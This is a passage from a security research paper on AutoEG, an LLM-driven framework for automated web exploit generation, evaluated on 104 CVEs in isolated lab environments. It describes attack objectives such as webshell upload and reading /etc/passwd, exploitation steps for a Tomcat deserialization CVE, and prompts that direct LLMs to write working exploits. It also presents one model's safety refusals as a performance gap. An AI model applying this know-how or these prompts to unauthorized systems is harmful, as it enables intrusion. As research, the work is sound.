exploits are executed targeting webshell upload, diagnostic code execution and admin panel access respectively for CVE-2013-4547. The first two exploits are rejected by the server due to file-type re- strictions, and are therefore marked as failed, with their server responses preserved as feedback. In contrast, the third exploit successfully retrieves the admin interface and is marked as successful. This separation ensures that only exploits achiev- ing concrete security impact are retained, while informative failure feedback is propagated to the refinement stage. 4.4.3⼠Exploit Refiner This agent revises failed exploits to better satisfy the attack objectives under the constraints of target environment. It oper- ates on a failed exploit together with the corresponding server response produced byâ¤and performs targeted modifications that address the cause of the failure while preserving the orig- inal attack objective and trigger function. Refinement focuses on identifying which components are rejected at runtime and selectively adjusting only the minimal elements (e.g., param- eter values, payload formats, or request construction details) necessary to resolve the failure. Refined exploits are returned toâ¤for re-execution, forming a bounded refinement loop that continues until the attack succeeds or a predefined revision limit is reached (three iterations in our implementation). Using the running example shown in Figure 3, we illus- trate how the Exploit Refiner adapts exploits to environment- specific constraints for CVE-2013-4547. For the first two at- tack objectives,â¤reports failure with server responses indicat- ing that only image file types (e.g.,jpg,png,gif) are allowed for upload. Guided by this feedback and the original objec- tives, the refiner revises the corresponding exploit scripts by modifying the uploaded file names to compliant formats (e.g., fromâtest.phpâtoâtest.jpgâorâtest.gifâ), while leaving the trigger function and overall exploit structure un- changed. The refined exploits are then returned toâ¤for re- execution. Through this feedback-driven refinement process, exploits are incrementally adapted to practical deployment constraints without reinterpreting the trigger function or alter- ing the intended attack objectives. 5 Experiments We evaluated AutoEG on an established benchmark to demon- strate its effectiveness on exploit generation. Specifically, we address the following three research questions: â˘RQ1 (AutoEG Performance): How does AutoEG perform on exploit generation for real-world vulnerabilities? â˘RQ2 (Comparative Effectiveness): How does AutoEG perform compared to existing methods? â˘RQ3 (Ablation Study): What is the individual contribution of each core innovation to the overall performance? 8 Table 1: Details of the seven objective categories, with predefined attack objective sets and related CVE identifiers. CategoriesAttack Objective SetRelated CVEs Sensitive Information (SI) - Exfiltrate the content of WEB-INF/web.xml - Read the contents of /etc/passwd file from the target server ... CVE-2018-3760, CVE-2024-4956, ... (24 CVEs) Remote Command Execution (RCE) - Get information about the UID and GID settings on the target server - Identify the current user on target server during the remote command execution ... CVE-2019-17558, CVE-2023-26360 ... (58 CVEs) Arbitrary File Write (AFW) - Write â1234567890â into the file /tmp/test0001 remotely - Create a new file success.txt under the current path remotely ... CVE-2023-38646, CVE-2020-13942 ... (27 CVEs) Privilege Escalation (PE)- Add a system account(testA) and show all accounts on the server from /etc/passwd ...CVE-2023-32315, CVE-2024-43441 ... (9 CVEs) Webshell (WS) - Upload a webshell and obtain a connection to target server - Obtain the reverse shell connection ... CVE-2017-10271, CVE-2017-9841 ... (5 CVEs) SQL Injection (SQLi)- Obtain table or schema data via SQL injection ...CVE-2020-9402, CVE-2023-25157 ... (8 CVEs) Miscellaneous (MISC)- Redirect user to âw.google.comâ ...CVE-2021-40822, CVE-2021-40438 ... (4 CVEs) 5.1 Experimental Setup 5.1.1 Benchmark Setup We derive a dataset of 104 web-application vulnerabilities by filtering the benchmark used in PentestAgent [7], excluding non-web entries such as Linux kernel issues. For each vulner- ability, we use the corresponding vulnerable application envi- ronment provided by Vulhub [38], where the vulnerability can be triggered in a real application context. Each environment is deployed as an isolated Docker instance to ensure indepen- dence and reproducibility. The dataset reflects vulnerabilities commonly encountered in real-world web applications and covers 18 of the top 25 most dangerous software weaknesses in the Common Weakness Enumeration (CWE) list [39]. 5.1.2 Vulnerability Information Dataset As discussed in Section 2.2, vulnerability information for exploit generation is heterogeneous and unstructured. The information comprises a description and a set of reference ma- terials. Since CVE descriptions are consistently provided as natural language summaries, they are not further categorized. Instead, we categorize the 104 vulnerabilities into seven infor- mation types based on the content form of its references: Nat- ural Language (NL), HTTP Request Examples (HTTP), Payloads (Payload), Code Snippets (Code), and three hybrid forms, NL+HTTP, NL+Payload, and NL+Code. The dataset is distributed as follows: NL (5), HTTP (37), Payload (17), Code (3), NL+HTTP (32), NL+Payload (7), and NL+Code (3), as details provided in Appendix D. These categories are used in RQ1 (§5.2) to analyze how information types affect phase-wise and end-to-end exploit generation performance. 5.1.3 Attack Objective Dataset For each vulnerability and its corresponding target web appli- cation deployed in the Docker environment, our penetration experts analyze feasible attack vectors, validate them through execution, and derive concrete attack objectives achievable in the environment; a single vulnerability may yield multiple distinct objectives. We then organize the collected objectives into seven categories guided by established security standards, including CWE [39] and OWASP Top 10 [40]. An exploit is considered successful if it achieves a specific annotated attack objective. Table 1 summarizes the objective categories, con- tents, and the number of vulnerabilities associated with each category, while the full mapping is provided in Appendix D. Seven categories used in RQ2 (§5.3) are defined as follows: ⢠Sensitive Information (SI): Extracting sensitive data from the target system, such as credential files, configuration files, or environment variables. â˘Remote Command Execution (RCE): Executing arbitrary commands on the target system through mechanisms such as command injection, deserialization, or evil router usage. â˘Arbitrary File Write (AFW): Writing files to arbitrary locations on the server, potentially enabling data corruption, persistence, or further exploitation. â˘Privilege Escalation (PE): Elevating privileges from the web application layer to higher-privileged system access. â˘Webshell (WS): Deploying a persistent or interactive web- shell on the server, such as uploading a backdoor file or establishing a reverse shell. â˘SQL Injection (SQLi): Exploiting SQL injection vulner- abilities to achieve unauthorized data access or command execution via database-linked interfaces. â˘Miscellaneous (MISC): Less frequent but impactful ob- jectives involving auxiliary behaviors, such as SSRF, XSS, CSRF, and URL redirection. 5.1.4 Large Language Models. We evaluate AutoEG with four representative mod- els:Qwen-Plus(qwen-plus-2025-04-28), GPT-4o (gpt-4o-2024-08-06), DeepSeek-V3 (DeepSeek-V3-0324) and Claude-3.7 (claude-3-7-sonnet-20250219) [41â44]. All models are accessed through official APIs without prompt tuning or instruction fine-tuning. Default decoding parameters are used for all completions, including temperature, top-p, top-k (if applicable), and max token limits as set by provider. Input prompts are formatted uniformly across models. 9 Generation Prompt You are a highly skilled technical assistant with deep expertise in penetration testing and exploit development. Given detailed vulnerability information (including descriptions and references) along with a target web application (URL) and a specific attack objective, your task is to generate a Python-based working exploit that leverages the given vulnerability to achieve the specified attack objective against the web application. Revision Prompt Given detailed vulnerability information (including descriptions and references) along with a target web application (URL), a specific attack objective, and a previously generated exploit that failed to achieve the desired result, your task is to revise or regenerate the Python-based working exploit that leverages the given vulnerability to successfully achieve the specified attack objective against the target web application. Figure 6: Prompts employed by DireLLM. 5.1.5 Baseline Methods. We compare AutoEG against four representative automated penetration testing methods. To ensure a fair comparison, all methods are evaluated under consistent settings: receiv- ing identical inputs (including the vulnerability information and predefined attack objectives) and operating against same target environments with same LLM backbones. During eval- uation, each method is constrained by a unified retry budget of three attempts for each attack objective. For methods that do not impose an explicit budget configuration, such as Pentest- GPT and VulnBot, which rely on their own decision-making modules to determine termination, we modified their imple- mentations and created variants adopting same retry limit as AutoEG for a fair comparison. Baseline details are as follows: â˘Direct LLM Generation (DireLLM): This baseline directly prompts the LLM to generate an executable exploit from inputs (Figure 6). The generated exploit is executed and iter- atively revised, following the same retry budget as AutoEG. This baseline represents the common practice of treating exploit generation as a direct text-to-code generation task without explicit intermediate representations or constraints. â˘PentestAgent [8]: We adopt the official implementation and default configuration of PentestAgent. Its exploit execution loop is constrained to the same retry budget as AutoEG to ensure comparable execution opportunities. ⢠PentestGPT [7]: Since PentestGPT is designed as a semi- automated, user-in-the-loop system, we implement an au- tomated variant by replacing the human user with an exe- cution agent, denoted as PentestGPT-Auto. The agent ex- ecutes generated exploits, captures server responses, and feeds them back into the dialogue to guide subsequent inter- actions. In addition to its default termination behavior, we configure a budget-constrained variant, PentestGPT-Auto-3, which adopts the same retry budget as AutoEG. â˘VulnBot [9]. We use the original multi-agent implemen- tation of VulnBot and preserve its internal control logic for iterative exploit generation and execution. Similar to PentestGPT-Auto, we additionally configure a budget- constrained variant, VulnBot-3, which operates under the same retry budget as AutoEG. 5.1.6 Evaluation Metrics. Following the setting of PentestAgent [8], we adopt the Attack Success Rate (ASR) as the evaluation metric. Specifically, given a set of CVEs C, its ASR is defined as: ASR(C) = â câC | o | o â OBJ(c) ⧠success(c, o) | â câC | o | o â OBJ(c) | (1) whereOBJ(c)is the set of attack objectives for a given vul- nerabilityc,success(c, o)indicates that objectiveo â OBJ(c) for the CVEcis successfully achieved by a given tool. We can also compute ASR for a specific category. For example, ASR(C SI ) denotes the ASR for the SI category, whereC SI is the set of 24 CVEs in that category. 5.1.7 Implementation and Configuration. We implement AutoEG using a Python-based framework that interfaces with multiple LLM backends and evaluates gener- ated exploits against the constructed benchmark. All methods, including AutoEG and baselines, are executed under a unified retry budget, where each iterative step is limited to a maxi- mum of three attempts. Target vulnerable environments are de- ployed on virtual machines hosted on Amazon Lightsail [45], each configured to emulate a real-world vulnerable appli- cation scenario. Generated exploit scripts are automatically executed in the target environments, and server responses are collected for subsequent validation and refinement. Since the used LLM-based validator is not fully reliable, we perform ground-truth validation to determine exploit correct- ness. Most cases are validated using rule-based checks (e.g., verifying successful file writes or account creation), while a small number involving complex side effects, such as web- shell deployment, require manual inspection. All reported attack success rates are based on ground-truth validation. To mitigate stochasticity in LLM outputs, each experiment is repeated three times and we report the mean attack success rate (ASR) across runs. Overall, the benchmark includes 104 vulnerabilities and 29 distinct attack objectives, yielding 660 concrete exploitation tasks. We evaluate seven tools across four backbone LLMs, resulting in 55,440 toolâmodelâtask executions (660 tasks Ă 7 tools Ă 4 models Ă 3 runs). 5.2 RQ1: AutoEG Performance We evaluate the stage-level and category-level performance of AutoEG across seven vulnerability information categories 10 using four different LLM backbones. Table 2 reports the re- sults for Phase A: Trigger Function Construction, Phase B: Runtime Exploitation, and the Entire Pipeline. For Phase A, we report the validation pass rate of generated trigger func- tions after iterative refinement, while for Phase B and entire pipeline, we report the attack success rate (ASR). Overall, AutoEG demonstrates strong and stable end-to-end effectiveness, achieving an average ASR of 0.82 across all models and categories. At the stage level, Phase A reaches an average ASR of 0.87, indicating that trigger functions can be constructed reliably from heterogeneous vulnerability in- formation. Phase B further maintains a high average ASR of 0.91, suggesting that once valid trigger logic is available, executable exploits can generally be synthesized and suc- ceed in real environments. Among the evaluated backbones, DeepSeek-V3 achieves the best overall performance with an entire pipeline ASR of 0.88, followed closely by Qwen-Plus at 0.87. GPT-4o remains stable but slightly weaker at 0.80, whereas Claude-3.7 shows a lower pipeline result of 0.72. A closer inspection reveals that the performance gap of Claude-3.7 mainly arises in Phase A, where overall perfor- mance drops to 0.77. Manual inspection suggests that this degradation is primarily caused by Claudeâs stricter safety and content moderation policies, which frequently refuse to gen- erate intermediate attack-related content inâ Trigger Logic Extractor. Once trigger functions are successfully generated, Claude exhibits competitive performance in Phase B, indi- cating that the observed gap is driven by policy-induced con- straints rather than intrinsic reasoning or execution capability limitations. From a category perspective, performance re- mains balanced across most vulnerability information types. In Phase A, categories containing explicit natural language in- formation (NL, NL+HTTP, NL+Payload) consistently achieve higher ASR than purely structured or code-heavy inputs, re- flecting the benefit of semantic redundancy in trigger abstrac- tion. In Phase B, the highest average ASR is observed in the NL+Payload category (0.95), indicating that combining semantic context with concrete payload examples provides strong guidance for exploit synthesis. Entire pipeline perfor- mance remains stable across categories, with ASR ranging between 0.77 and 0.92, suggesting that AutoEG generalizes well across heterogeneous vulnerability information. 5.3 RQ2: Comparative Effectiveness Table 3 summarizes the comparative effectiveness of AutoEG against all baselines across seven attack objective categories and four backbone LLMs. Overall, AutoEG consistently out- performs all competing methods under every backbone set- ting, achieving substantially higher ASR both at the cate- gory level and in aggregate. Under the strongest backbone configuration, DeepSeek-V3, AutoEG achieves the highest overall ASR of 0.88, whereas the best-performing baseline, PentestGPT-Auto, reaches only 0.34. Similar performance Table 2: Performance of AutoEG across different vulnerability information categories. Bold font highlights the overall best performance across all models. Grey boxes highlight the best performance across all categories. N-TP denotes NL+HTTP, N-ad denotes NL+Payload, and N-de denotes NL+Code. PhaseModel Category Overall NL HTTP Payload Code N-TP N-ad N-de Phase A: Trigger Function Construction Qwen-Plus1.000.970.880.671.001.00 1.000.96 GPT-4o1.000.840.651.000.880.71 1.000.83 DeepSeek-V31.000.920.941.000.910.86 1.000.92 Claude-3.71.000.841.000.670.630.57 0.330.77 Avg.1.000.890.870.830.880.85 0.790.87 Phase B: Runtime Exploitation Qwen-Plus0.940.870.880.930.920.85 0.800.89 GPT-4o0.910.980.951.000.910.94 1.000.95 DeepSeek-V30.980.900.900.850.941.00 0.750.92 Claude-3.70.850.890.980.870.821.00 1.000.89 Avg.0.920.910.930.910.900.95 0.890.91 Entire Pipeline Qwen-Plus0.940.850.750.700.920.85 0.800.87 GPT-4o0.910.770.681.000.800.71 1.000.80 DeepSeek-V30.980.840.870.850.860.88 0.750.88 Claude-3.70.850.750.980.650.540.66 0.590.72 Avg.0.920.800.820.800.780.77 0.780.82 gaps persist across other backbones. Under Qwen-Plus, Au- toEG achieves an overall ASR of 0.87 while all baselines re- main below 0.27. Under GPT-4o, AutoEG maintains an ASR of 0.80, compared with a maximum baseline performance of 0.32. Even under the most restrictive backbone, Claude-3.7, AutoEG still attains an overall ASR of 0.72, nearly doubling the strongest baseline result of 0.38. Beyond aggregate per- formance, AutoEG maintains consistently strong ASR across most objective categories under all backbones, with many categories remaining above 0.75 even when baseline meth- ods rarely exceed 0.35. In particular, Sensitive Information (SI) and SQL Injection (SQLi) exhibit stable and high per- formance across all backbones, while Arbitrary File Write (AFW) and Privilege Escalation (PE) remain strong under Qwen-Plus, GPT-4o, and DeepSeek-V3. Some category-level variations are nevertheless observed. Webshell (WS) shows a noticeable drop under DeepSeek-V3 and Claude-3.7, Remote Command Execution (RCE) degrades under the more con- strained Claude-3.7 backbone, and MISC objectives exhibit slightly lower success rates under GPT-4o. These patterns reflect the additional difficulty of synthesizing semantically correct executable payloads while satisfying low-level encod- ing, serialization, and environment-dependent constraints. The performance advantage of AutoEG primarily stems from its explicit extraction of vulnerability trigger logic from heterogeneous and unstructured vulnerability descriptions. By encapsulating vulnerability information into reusable trigger functions, AutoEG provides a structured and verifiable founda- tion for downstream exploit instantiation, enabling the system to preserve vulnerability-sensitive constraints and progres- sively adapt executions using runtime feedback. In contrast, baseline methods directly prompt the LLM to generate com- 11 Table 3: Comparison with baselines across different objective categories. Bold font indicates our AutoEGâs performance. Grey boxes highlight the best performance across all baseline methods under the same LLM backbone. ModelMethod Category Overall SIRCE AFWPEWS SQLi MISC Qwen-Plus DireLLM0.21 0.15 0.130.20 0.13 0.190.130.16 PentestAgent0.29 0.16 0.300.200.50 0.130.000.23 PentestGPT-Auto0.35 0.19 0.260.20 0.00 0.250.170.20 PentestGPT-Auto-30.17 0.07 0.16 0.00 0.11 0.080.170.11 VulnBot0.440.200.320.20 0.140.420.200.27 VulnBot-30.07 0.00 0.05 0.00 0.00 0.110.010.03 AutoEG0.75 0.81 0.93 0.88 0.94 0.970.920.87 GPT-4o DireLLM0.23 0.11 0.07 0.100.50 0.190.000.15 PentestAgent0.460.23 0.070.20 0.25 0.000.000.21 PentestGPT-Auto0.38 0.11 0.25 0.00 0.00 0.250.000.20 PentestGPT-Auto-30.13 0.07 0.10 0.00 0.00 0.000.000.08 VulnBot0.480.230.38 0.19 0.200.520.220.32 VulnBot-30.09 0.04 0.07 0.00 0.00 0.100.000.04 AutoEG0.80 0.82 0.75 0.94 0.80 0.760.670.80 DeepSeek-V3 DireLLM0.10 0.03 0.07 0.10 0.00 0.060.130.07 PentestAgent0.25 0.26 0.26 0.200.50 0.000.500.23 PentestGPT-Auto0.23 0.39 0.350.40 0.34 0.380.320.34 PentestGPT-Auto-30.23 0.09 0.15 0.10 0.16 0.130.130.14 VulnBot0.500.410.38 0.26 0.190.510.230.35 VulnBot-30.09 0.00 0.07 0.00 0.00 0.110.000.04 AutoEG0.90 0.78 0.93 0.94 0.57 0.830.830.88 Claude-3.7 DireLLM0.13 0.10 0.09 0.10 0.25 0.060.000.11 PentestAgent0.29 0.10 0.07 0.00 0.25 0.000.000.13 PentestGPT-Auto0.340.45 0.280.300.34 0.430.500.38 PentestGPT-Auto-30.17 0.05 0.22 0.20 0.17 0.070.000.12 VulnBot0.54 0.320.43 0.23 0.230.580.250.37 VulnBot-30.10 0.05 0.08 0.00 0.00 0.110.000.05 AutoEG0.70 0.65 0.80 0.58 0.60 0.760.750.72 plete exploits in a single step, even when augmented with iterative regeneration based on execution feedback. Without explicit modeling of trigger logic or structured intermediate representations, these approaches are more prone to hallu- cinated parameters, malformed payloads, and environment mismatches, resulting in unstable behavior across attack ob- jectives and backbone settings. Table 4 further reports the average number of refinement iterations required for suc- cessful cases. Overall, AutoEG achieves higher success rates with fewer refinement iterations, requiring only 2.24 itera- tions per successful case on average, compared with 2.48 for the most efficient baseline, PentestAgent-Auto. Notably, AutoEG-PhaseA consistently requires fewer iterations than all baselines, indicating that early-stage trigger function construc- tion effectively constrains downstream exploit instantiation and mitigates unnecessary or hallucinated revisions. More- over, baseline methods under unconstrained settings exhibit substantially higher iteration overheads (e.g., 13.01 for Pen- testGPT and 35.05 for VulnBot), highlighting their instability and inefficiency in practice. 5.4 RQ3: Ablation Study To understand the contribution of each component within the AutoEG framework and validate our design choices, we con- Table 4: Average number of refinement iterations. Bold values indicate the overall performance of our AutoEG. Gray-shaded cells highlight the least number of iterations among baselines. Method Category Overall SIRCEAFWPEWSSQLi MISC DireLLM2.333.003.002.772.752.333.002.74 PentestAgent2.002.772.703.002.772.102.002.48 PentestGPT-Auto13.67 15.44 11.20 13.67 8.50 14.83 13.7513.01 PentestGPT-Auto-3 2.782.802.442.602.332.862.942.68 VulnBot36.83 41.56 28.15 38.81 23.04 39.92 37.0235.05 VulnBot-32.993.002.642.802.513.003.002.88 AutoEG-PhaseA1.351.811.792.201.331.501.001.57 AutoEG-PhaseB0.431.041.001.400.330.500.000.67 AutoEG-Entire 1.782.852.793.601.672.001.002.24 Table 5: Ablation study under different settings. LLMw/o PhaseAw/oâĄâ˘w/oâ¤âĽAutoEG Qwen-Plus0.600.820.420.87 GPT-4o0.550.740.140.80 DeepSeek-V30.520.750.140.88 Claude-3.70.390.680.350.72 duct a systematic ablation study. By selectively disabling or modifying key modules, we quantify their individual impact on overall performance and gain insights into why and how the approach succeeds. All experiments are performed under identical evaluation settings (§5.1), ensuring consistent and comparable results. All results are shown in Table 5. Effect of the Trigger Function Construction phase (w/o PhaseA). This part evaluates the impact of removing the en- tire Phase A: Trigger Function Construction. In this case, the final exploit is generated directly based on the vulnerability information, without any intermediate function abstraction. The results demonstrate that the trigger function construction significantly contributes to the overall performance. Specif- ically, the ASR under w/o PhaseA drops to 0.60 on Qwen- Plus, 0.55 on GPT-4o, 0.52 on DeepSeek-V3, and 0.39 on Claude-3.7, indicating that the absence of trigger function leads to a substantial degradation in exploit quality. The im- pact is particularly notable when using DeepSeek-V3, where the ASR decreases from 0.88 to 0.52, highlighting the impor- tance of structured abstraction and refinement in stabilizing downstream exploit generation. Effect of the Trigger Function Validator and Refiner (w/o âĄâ˘). To evaluate the effectiveness of the test-driven vali- dation in Phase A, we design a variant of AutoEG directly using the first generated trigger function fromâ without ad- ditional validation and refinement, denoted as w/oâĄâ˘. The comparison results are presented in Table 5. We observe that removing the two agents results in a decline in ASR, rang- ing from 0.05 on Qwen-Plus to 0.13 on DeepSeek-V3. These results demonstrate the effectiveness of the test-driven vali- dation in improving both the quality of trigger function and the overall exploit generation performance. However, we also observe that its impact is relatively limited in some cases, as 12 LLMs are able to generate correct trigger functions on the first attempt for certain vulnerabilities, reflecting their strong code generation capability. Effect of the Exploit Executor and Refiner (w/oâ¤âĽ). Fi- nally, we examine the contribution of the exploit execution and refinement agents, which adapt exploits based on real execution feedback. In this ablation variant, we remove both modules and treat the first generated exploit as the final result. The results show that this leads to the largest drop in ASR. For example, the performance of DeepSeek-V3 decreases from 0.88 to 0.14, representing a substantial degradation. Similarly, the ASR of GPT-4o drops from 0.80 to 0.14. Although Qwen- Plus exhibits the smallest decline, its ASR still decreases from 0.87 to 0.42, amounting to nearly a 50% reduction. These re- sults indicate that, in most cases, AutoEG cannot generate a correct exploit in a single attempt even when provided with correct trigger functions. This is because payload generation requires adapting to environment-specific details, which often necessitates iterative refinement based on runtime responses. 5.5 Case Study We present a real exploit generation case based on CVE-2025- 24813 [46] in the Apache Tomcat server (Appendix A). Tom- cat is a popular third-party component deployed in real-world web applications, with over 8.1k stars on GitHub [47]. We set up a web application runs on a vulnerable Apache Tomcat v9.0.97 instance accessible from the external network. The vulnerability allows an attacker to upload a crafted session file via a partialPUTrequest and trigger deserialization through a manipulatedJSESSIONIDcookie, leading to remote code execution. Public references provide configuration snippets and partial HTTP examples but no complete exploit script. To trigger this vulnerability, we need to send a partialPUT request to upload a serialized payload to the session storage path and then send aGETrequest with a crafted cookie to trig- ger deserialization. The first issue arises in Phase A, where the generated request sequence in trigger function omits the requiredJSESSIONIDcookie. The validator detects this error as a cookie mismatch, and the trigger function is corrected by restoring the missing cookie and revalidated until the test passes. After the triggering logic stabilizes, the main diffi- culty shifts to exploit instantiation. The trigger function uses CommonsCollections1gadget as default, while the target ap- plication lacks a usable deserialization chain for this gadget, causing the exploit to fail despite well-formed requests. Based on execution feedback, the refiner automatically switches to CommonsBeanutils1, which does not impose a strict JDK version requirement. With this change, the same exploit flow successfully triggers deserialization, and all five attack objec- tives are achieved within three attempts. Manual inspection confirms that the application runs a high-version JDK8, which explains the failure ofCommonsCollections1and validates the correctness of the automated adaptation. 6 Discussion Modularity and Groundtruth Substitution. An additional advantage of AutoEG lies in its modular workflow design: each agent in the pipeline (e.g., trigger function extractor, val- idator, and refiner) is functionally isolated and can be selec- tively replaced by ground-truth components, such as human annotations or stronger expert agents, when such supervision is available. This property provides a strong pathway for fu- ture improvement: models can be bootstrapped with partial groundtruth to increase accuracy, or hybrid systems can in- tegrate automated steps with curated expert outputs. Such flexibility not only enhances performance but also makes Au- toEG adaptable to evolving datasets, stronger LLM backends, or domain-specific expert knowledge. Threats to Validity. Several validity threats should be consid- ered when interpreting our results. From an internal validity perspective, evaluations are conducted on Vulhub environ- ments and vulnerability information obtained from official CVE records, including textual descriptions and referenced materials, which may not fully capture the diversity, configu- ration complexity, and defensive mechanisms of real-world web deployments. We mitigate this risk by selecting a diverse benchmark of 104 vulnerabilities across multiple categories and repeating each experiment three times to reduce stochas- tic variance. From an external validity perspective, while our study intentionally focuses on web-application vulnerabili- ties as defined in the threat model, generalizability may still be influenced by the specific deployment environments and the evolving capabilities and safety policies of LLM back- bones. To reduce model- and dataset-specific bias, we evaluate multiple model families and heterogeneous vulnerability rep- resentations. Regarding construct validity, we primarily adopt Attack Success Rate (ASR) as the evaluation metric, which emphasizes functional exploit correctness with respect to pre- defined objectives but does not capture secondary properties such as stealth, persistence, or operational risk. To partially ad- dress this limitation, we incorporate multi-objective settings where applicable, enabling assessment beyond single-path exploit success and providing a more realistic approximation of practical penetration testing requirements. 7 Conclusion This paper presents AutoEG, a novel framework for reliable automated exploit generation. By decomposing the process into trigger function construction and attack-specific instan- tiation, and validating in each phase systematically, AutoEG addresses key limitations of existing end-to-end approaches. Extensive evaluations demonstrate that AutoEG significantly improves attack success rates and adaptability across diverse vulnerabilities and environments, advancing the state of auto- mated penetration testing. 13 Ethical Considerations This work investigates automated exploit generation for known vulnerabilities in web applications. While such ca- pabilities can improve the efficiency of defensive security assessment, they also pose potential risks if misused, in- cluding lowering the barrier for unauthorized exploitation. Our work is explicitly scoped to authorized penetration testing as defined in the threat model. All experiments are conducted in isolated Vulhub environments using vulnera- bility information obtained from official CVE records. No experiments target production systems, and no private or sensitive data is involved. From a system design perspec- tive, AutoEG prioritizes structured abstraction, validation, and execution transparency rather than unconstrained exploit synthesis. Intermediate representations make ex- ploit generation auditable and support human oversight, while the modular workflow allows safety mechanisms and access controls to be integrated at critical stages. As with any security automation, responsible deployment ul- timately depends on appropriate operational safeguards and compliance with legal and organizational policies. References [1]P. Li and M. Zhang, âFuzzcache: Optimizing web appli- cation fuzzing through software-based data cache,â in Proceedings of the 2024 on ACM SIGSAC Conference on Computer and Communications Security, 2024, p. 511â524. [2] T. Lauinger, A. Chaabane, S. Arshad, W. Robertson, C. Wilson, and E. Kirda, âThou shalt not depend on me: Analysing the use of outdated javascript libraries on the web,â arXiv preprint arXiv:1811.00918, 2018. [3]Z. Jia, C. Yang, P. Feng, X. Zhao, X. Li, and J. Ma, âImpact assessment of third-party library vulnerabilities through vulnerability reachability analysis,â Computers & Security, p. 104546, 2025. [4] K. Scarfone, M. Souppaya, A. Cody, and A. Orebaugh, âTechnical guide to information security testing and as- sessment,â NIST Special Publication, vol. 800, no. 115, p. 2â25, 2008. [5] Pentest-standard.org, âThe penetration testing execution standard,â 2014. [Online]. Available: http://w. pentest-standard.org/index.php/Main_Page [6] D. Mu, A. Cuevas, L. Yang, H. Hu, X. Xing, B. Mao, and G. Wang, âUnderstanding the reproducibility of crowd- reported security vulnerabilities,â in 27th USENIX Secu- rity Symposium (USENIX Security 18), 2018, p. 919â 936. [7]G. Deng, Y. Liu, V. Mayoral-Vilches, P. Liu, Y. Li, Y. Xu, T. Zhang, Y. Liu, M. Pinzger, and S. Rass, âPentestGPT: Evaluating and harnessing large language models for automated penetration testing,â in 33rd USENIX Security Symposium (USENIX Security 24). Philadelphia, PA: USENIX Association, Aug. 2024, p. 847â864. [Online]. Available: https://w.usenix.org/ conference/usenixsecurity24/presentation/deng [8]X. Shen, L. Wang, Z. Li, Y. Chen, W. Zhao, D. Sun, J. Wang, and W. Ruan, âPentestagent: Incorporating llm agents to automated penetration testing,â in Proceedings of the 20th ACM Asia Conference on Computer and Communications Security, 2025, p. 375â391. [9]H. Kong, D. Hu, J. Ge, L. Li, T. Li, and B. Wu, âVulnbot: Autonomous penetration testing for a multi-agent collaborative framework,â 2025. [Online]. Available: https://arxiv.org/abs/2501.13411 [10]D. Jin, Q. Fu, and Y. Li, âGood news for script kiddies? evaluating large language models for automated exploit generation,â in 2025 IEEE Security and Privacy Work- shops (SPW). IEEE, 2025, p. 278â282. [11]R. Yang, M. Cheng, G. Deng, T. Zhang, J. Wang, and X. Xie, âPentesteval: Benchmarking llm-based penetra- tion testing with modular and stage-level design,â arXiv preprint arXiv:2512.14233, 2025. [12]A. Nunez, N. T. Islam, S. K. Jha, and P. Najafirad, âAu- tosafecoder: A multi-agent framework for securing llm code generation through static analysis and fuzz testing,â arXiv preprint arXiv:2409.10737, 2024. [13]M. Fu, C. K. Tantithamthavorn, V. Nguyen, and T. Le, âChatgpt for vulnerability detection, classification, and repair: How far are we?â in 2023 30th Asia-Pacific Soft- ware Engineering Conference (APSEC). IEEE, 2023, p. 632â636. [14] A. T. Nguyen, T. H. M. Le, and M. A. Babar, âAuto- mated code-centric software vulnerability assessment: How far are we? an empirical study in c/c++,â in Pro- ceedings of the 18th ACM/IEEE International Sympo- sium on Empirical Software Engineering and Measure- ment, 2024, p. 72â83. [15] D. Simsek, A. Eghbali, and M. Pradel, âPocgen: Gen- erating proof-of-concept exploits for vulnerabilities in npm packages,â arXiv preprint arXiv:2506.04962, 2025. [16]F. Marques, M. Ferreira, A. Nascimento, M. E. Coimbra, N. Santos, L. Jia, and J. Fragoso Santos, âAutomated exploit generation for node. js packages,â Proceedings of the ACM on Programming Languages, vol. 9, no. PLDI, p. 1341â1366, 2025. 14 [17]M. Zhao, K. Li, L. Zhang, W. Dang, C. Ding, S. Chen, and Z. Liu, âA systematic study on generating web vul- nerability proof-of-concepts using large language mod- els,â arXiv preprint arXiv:2510.10148, 2025. [18]X. Mei, P. S. Singaria, J. Del Castillo, H. Xi, T. Bao, R. Wang, Y. Shoshitaishvili, A. DoupĂŠ, H. Pearce, B. Dolan-Gavitt et al., âArvo: Atlas of reproducible vul- nerabilities for open source software,â arXiv preprint arXiv:2408.02153, 2024. [19]CVE.org, âCve program,â 2025. [Online]. Available: https://w.cve.org/ [20]NIST, âNational vulnerability database,â 2025. [Online]. Available: https://nvd.nist.gov/ [21]CVE.org, âCve-2019-5418,â 2019. [Online]. Available: https://w.cve.org/CVERecord?id=CVE-2019-5418 [22] â, âCve-2020-1957,â 2020. [Online]. Available: https://w.cve.org/CVERecord?id=CVE-2020-1957 [23] â, âCve-2025-9985,â 2025. [Online]. Available: https://w.cve.org/CVERecord?id=CVE-2025-9985 [24] W. Dang, K. Li, S. Chen, Z. Zhuo, L. Zhang, and Z. Liu, âReal-world usability of vulnerability proof- of-concepts: A comprehensive study,â arXiv preprint arXiv:2510.18448, 2025. [25]A. D. Householder, J. Chrabaszcz, T. Novelly, D. War- ren, and J. M. Spring, âHistorical analysis of exploit availability timelines,â in 13th USENIX Workshop on Cyber Security Experimentation and Test (CSET 20), 2020. [26]CVE.org, âCve-2013-4547,â 2013. [Online]. Available: https://w.cve.org/CVERecord?id=CVE-2013-4547 [27]SHODAN, âBanner analysis report,â 2025. [Online]. Available: https://data-status.shodan.io/ [28] â, âHost example of 65.109.17.77,â 2025. [Online]. Available: https://w.shodan.io/host/65.109.17.77 [29]censys, âCensys search query for hosts potentially affected by cve-2013-4547,â 2025. [Online]. Avail- able: https://search.censys.io/search?q=vulnerabilities. cve_id%3A%22CVE-2013-4547%22 [30]M.Dounin,â[nginx-announce]nginxsecu- rityadvisory(cve-2013-4547),â2013.[On- line]. Available: https://mailman.nginx.org/pipermail/ nginx-announce/2013/000125.html [31]W. Wu, Y. Chen, J. Xu, X. Xing, X. Gong, and W. Zou, âFUZE: Towards facilitating exploit gener- ation for kernelUse-After-Freevulnerabilities,â in 27th USENIX Security Symposium (USENIX Security 18), 2018, p. 781â797. [32]V. J. Manès, H. Han, C. Han, S. K. Cha, M. Egele, E. J. Schwartz, and M. Woo, âThe art, science, and engineer- ing of fuzzing: A survey,â IEEE Transactions on Soft- ware Engineering, vol. 47, no. 11, p. 2312â2331, 2019. [33]R. Baldoni, E. Coppa, D. C. Dâelia, C. Demetrescu, and I. 